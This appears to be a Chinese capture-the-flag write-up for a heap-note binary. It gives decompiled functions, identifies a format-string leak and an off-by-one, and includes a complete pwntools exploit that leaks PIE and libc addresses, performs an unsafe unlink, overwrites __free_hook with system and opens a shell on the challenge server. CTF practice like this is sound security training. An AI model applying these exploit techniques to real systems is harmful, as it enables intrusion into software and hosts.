Ζ一道Ubuntu 16

主函数:发现show这个函数没用

1 int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
2 {
3 int v3; // [rsp+Ch] [rbp-4h]
4
5 init(argc, argv, envp);
6 banner();
7 while ( 1 )
8 {
9 menu();
10 v3 = get_int();
11 switch ( v3 )
12 {
13 case 1:
14 add_note();
15 break;
16 case 2:
17 delete_note();
18 break;
19 case 3:
20 puts("None!");
21 break;
22 case 4:
23 edit_note();
24 break;
25 default:
26 puts("No such choices!");
27 break;
28 }
29 }
30

banner函数:一个格式化字符串漏洞

1 unsigned __int64 banner()
2 {
3 char format[12]; // [rsp+Ch] [rbp-14h] BYREF
4 unsigned __int64 v2; // [rsp+18h] [rbp-8h]
5
6 v2 = __readfsqword(0x28u);
7 puts("Welcome to note management system!");
8 printf("Enter your name: ");
9 __isoc99_scanf("%s", format);
10 printf("Hello, ");
11 printf(format);
12 puts("\n-------------------------------------");
13 return __readfsqword(0x28u) ^ v2;
14

add函数:存在 off-by-one ,此外注意一下堆块大小要大于 0x80

1 unsigned __int64 add_note()
2 {
3 int v0; // ebx
4 int v1; // ebx
5 size_t size; // [rsp+0h] [rbp-20h] BYREF
6 unsigned __int64 v4; // [rsp+8h] [rbp-18h]
7
8 v4 = __readfsqword(0x28u);
9 printf("Enter the index you want to create (0-10):");
10 __isoc99_scanf("%d", (char *)&size + 4);
11 if ( (size & 0x8000000000000000LL) == 0LL && SHIDWORD(size) <= 10 )
12 {
13 if ( counts > 0xAu )
14 {
15 puts("full!");
16 exit(0);
17 }
18 puts("Enter a size:");
19 __isoc99_scanf("%d", &size);
20 if ( key == 43 )
21 {
22 puts("Enter the content: ");
23 v0 = HIDWORD(size);
24 *((_QWORD *)¬e + 2 * v0) = malloc((unsigned int)size);
25 *((_DWORD *)¬e + 4 * SHIDWORD(size) + 2) = size;
26 if ( !*((_QWORD *)¬e + 2 * SHIDWORD(size)) )
27 {
28 fwrite("error", 1uLL, 5uLL, stderr);
29 exit(0);
30 }
31 }
32 else
33 {
34 if ( (unsigned int)size <= 0x80 )
35 {
36 puts("You can't hack me!");
37 return __readfsqword(0x28u) ^ v4;
38 }
39 puts("Enter the content: ");
40 v1 = HIDWORD(size);
41 *((_QWORD *)¬e + 2 * v1) = malloc((unsigned int)size);
42 *((_DWORD *)¬e + 4 * SHIDWORD(size) + 2) = size;
43 if ( !*((_QWORD *)¬e + 2 * SHIDWORD(size)) )
44 {
45 fwrite("error", 1uLL, 5uLL, stderr);
46 exit(0);
47 }
48 }
49 if ( !(unsigned int)check_pass((char *)¬e + 16 * SHIDWORD(size)) )
50 {
51 puts("go out!hacker!");
52 exit(0);
53 }
54 get_input(*((_QWORD *)¬e + 2 * SHIDWORD(size)), (unsigned int)size);
55 ++counts;
56 puts("Done!");
57 }
58 else
59 {
60 puts("You can't hack me!");
61 }
62 return __readfsqword(0x28u) ^ v4;
63

delete函数:

1 unsigned __int64 delete_note()
2 {
3 int v1; // [rsp+4h] [rbp-Ch] BYREF
4 unsigned __int64 v2; // [rsp+8h] [rbp-8h]
5
6 v2 = __readfsqword(0x28u);
7 puts("Enter an index:");
8 __isoc99_scanf("%d", &v1);
9 if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)¬e + 2 * v1) )
10 {
11 free(*((void **)¬e + 2 * v1));
12 *((_QWORD *)¬e + 2 * v1) = 0LL;
13 *((_DWORD *)¬e + 4 * v1 + 2) = 0;
14 --counts;
15 puts("Done!");
16 }
17 else
18 {
19 puts("You can't hack me!");
20 }
21 return __readfsqword(0x28u) ^ v2;
22

edit函数:

1 unsigned __int64 edit_note()
2 {
3 int v1; // [rsp+4h] [rbp-Ch] BYREF
4 unsigned __int64 v2; // [rsp+8h] [rbp-8h]
5
6 v2 = __readfsqword(0x28u);
7 puts("Enter an index:");
8 __isoc99_scanf("%d", &v1);
9 if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)¬e + 2 * v1) )
10 {
11 puts("Enter the content: ");
12 get_input(*((_QWORD *)¬e + 2 * v1), *((_DWORD *)¬e + 4 * v1 + 2));
13 puts("Done!");
14 }
15 else
16 {
17 puts("You can't hack me!");
18 }
19 return __readfsqword(0x28u) ^ v2;
20

开了 PIE ,且 show 函数是假的,先利用格式化字符串漏洞泄露 libc 和基地址。

然后通过 off-by-one 来 unlink,改 chunk0 为 __free_hook,再向__free_hook里填 system 或 one_gadget 都可。

1 from pwn import *
2 context.log_level = 'debug'
3 context.arch = 'amd64'
4
5 #s = process('./1')
6 s = remote('node4.buuoj.cn',29510)
7 #libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
8 libc = ELF('./libc-2.23buu.so')
9 def add(index,size,content):
10 s.recvuntil(b'>>')
11 s.sendline(b'1')
12 s.recvuntil(b'Enter the index you want to create (0-10):')
13 s.sendline(str(index))
14 s.recvuntil(b'Enter a size:\n')
15 s.sendline(str(size))
16 s.recvuntil(b'content:')
17 s.sendline(content)
18
19 def delete(index):
20 s.recvuntil(b'>> ')
21 s.sendline(b'2')
22 s.recvuntil(b'Enter an index:\n')
23 s.sendline(str(index))
24
25 def edit(index,content):
26 s.recvuntil(b'>> ')
27 s.sendline(b'4')
28 s.recvuntil(b'Enter an index:\n')
29 s.sendline(str(index))
30 s.recvuntil(b'Enter the content: ')
31 s.sendline(content)
32
33 s.recvuntil(b'name')
34 s.sendline(b'%11$p%15$p')
35 s.recvuntil(b'Hello, ')
36 base_addr = int(s.recv(14),16) - 0x1186
37 libc_base = int(s.recv(14),16) - libc.sym['__libc_start_main'] - 240
38 success('base_addr=>' + hex(base_addr))
39 success('libc_base=>' + hex(libc_base))
40 one_gadget = libc_base + 0x4526a
41 system_addr = libc_base + libc.sym['system']
42 __free_hook = libc_base + libc.sym['__free_hook']
43 note_addr = base_addr + 0x202060
44 success('note_addr=>' + hex(note_addr))
45
46 fd = note_addr - 0x18
47 bk = note_addr - 0x10
48 add(0,0x88,b'aaaaaaaaaaa') #0
49 add(1,0x88,b'bbbbbbbbbbb') #1
50 add(2,0x88,b'/bin/sh\x00') #2
51
52 payload = p64(0) + p64(0x80)
53 payload+= p64(fd)+ p64(bk)
54 payload = payload.ljust(0x80,b'\x00') + p64(0x80)
55 payload+= p8(0x90)
56 edit(0,payload)
57
58 delete(1)
59
60 payload = p64(0)*3 + p64(__free_hook) + p64(0x10)
61 edit(0,payload)
62 #edit(0,p64(one_gadget))
63 edit(0,p64(system_addr))
64
65 #gdb.attach(s)
66
67 s.interactive()
68 '''
69 0x45216 execve("/bin/sh", rsp+0x30, environ)
70 constraints:
71 rax == NULL
72
73 0x4526a execve("/bin/sh", rsp+0x30, environ)
74 constraints:
75 [rsp+0x30] == NULL
76
77 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
78 constraints:
79 [rsp+0x50] == NULL
80
81 0xf1147 execve("/bin/sh", rsp+0x70, environ)
82 constraints:
83 [rsp+0x70] == NULL
84 '''

 

作者:{狒猩橙}​